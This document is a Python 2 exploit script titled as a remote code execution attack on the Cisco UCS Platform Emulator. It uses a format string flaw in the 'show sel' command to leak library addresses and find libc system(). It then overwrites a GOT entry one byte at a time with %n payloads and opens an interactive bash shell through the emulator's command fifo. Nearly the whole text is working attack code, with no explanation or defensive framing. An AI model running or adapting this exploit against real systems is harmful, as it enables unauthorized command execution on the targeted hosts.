Cisco UCS Platform Emulator Remote Code Execution

                                                import struct
import time
import binascii

def generate_payload(addr):
    basepayload = "show sel AAAAAAAAAAAA"
    aa = (addr >> 24 & 0xff)
    bb = (addr >> 16 & 0xff)
    cc = (addr >> 8 & 0xff)
    dd = (addr >> 0 & 0xff)
    if aa<34:
        aa_c_payload = aa + 222
    else:
        aa_c_payload = aa - 34
    if bb<34:
        bb_c_payload = bb + 222
    else:
        bb_c_payload = bb - 34
    if cc<34:
        cc_c_payload = cc + 222
    else:
        cc_c_payload = cc - 34
    if dd<34:
        dd_c_payload = dd + 222
    else:
        dd_c_payload = dd - 34
    aa_payload = "%" + str(aa_c_payload) + "c%28$n"
    bb_payload = "%" + str(bb_c_payload) + "c%28$n"
    cc_payload = "%" + str(cc_c_payload) + "c%28$n"
    dd_payload = "%" + str(dd_c_payload) + "c%28$n"
    aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
    bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
    ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
    ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
    return [aap,bbp,ccp,ddp]

def clearlog():
    fo = open("output/log","w")
    fo.truncate()
    fo.close()

def readlog():
    logread = [line.strip('\n\0x00') for line in open('output/log')]
    return logread

def sendcommand(cmd):
    f=open("fifo1", "a+")
    f.write(cmd+"\n")
    f.close()

def dump(adr, frmt='p'):
    clearlog()
    leak_part = "show sel %28${}".format(frmt)
    raw_addr = struct.pack("I", adr)
    if "\x20" in raw_addr:
        print "space!"
    out = leak_part + "AAAAAAA"+raw_addr
    sendcommand(out)
    time.sleep(2)
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(": ")[2]
    clearlog()
    return outbin+"\x00"

def starting_point():
    clearlog()
    out = "show sel %147$x"
    sendcommand(out)
    time.sleep(2)
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(":")[2]
    clearlog()
    return outbin


clidcos_step = 0x1DB0C
libc_emulator_snprintf = 0x0004b210
libc_emulator_system = 0x0003af60

print "Going through some menus please wait a moment.."
sendcommand("c")
time.sleep(1)
sendcommand("show version")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("show version")
time.sleep(5)
clearlog()

print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so"
off3 = int(starting_point(),16)
print "    -> " + hex(off3)
print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
clidcosGOTPLT = off3+clidcos_step
print "    -> " + hex(clidcosGOTPLT)
print "[.] Dumping snprintf address from libc"
libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
libc_snprintf_addr =  int(libc_tmp1_hex, 16)
print "    -> " + hex(libc_snprintf_addr)
print "[.] Calculating libc system address"
libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
print "    -> libc base addr = " + hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc_emulator_system
print "    -> system addr = " + hex(libc_system_addr)
print "\n[.] Sending payload.."

sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
print generate_payload(libc_system_addr)[3]
sendcommand("show version")
time.sleep(1)

sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
print generate_payload(libc_system_addr)[2]
sendcommand("show version")
time.sleep(1)

sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
print generate_payload(libc_system_addr)[1]
sendcommand("show version")
time.sleep(1)

sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
print generate_payload(libc_system_addr)[0]
sendcommand("show version")
time.sleep(1)

print "Sleep for fork adjustment.."
time.sleep(5)
sendcommand("ssh /bin/bash")
print "Ok please type your commands (type exit for exit)"
time.sleep(2)
while True:
    n = raw_input("> ")
    if 'exit' in n:
        break
    clearlog()
    sendcommand(n)
    time.sleep(2)
    print readlog()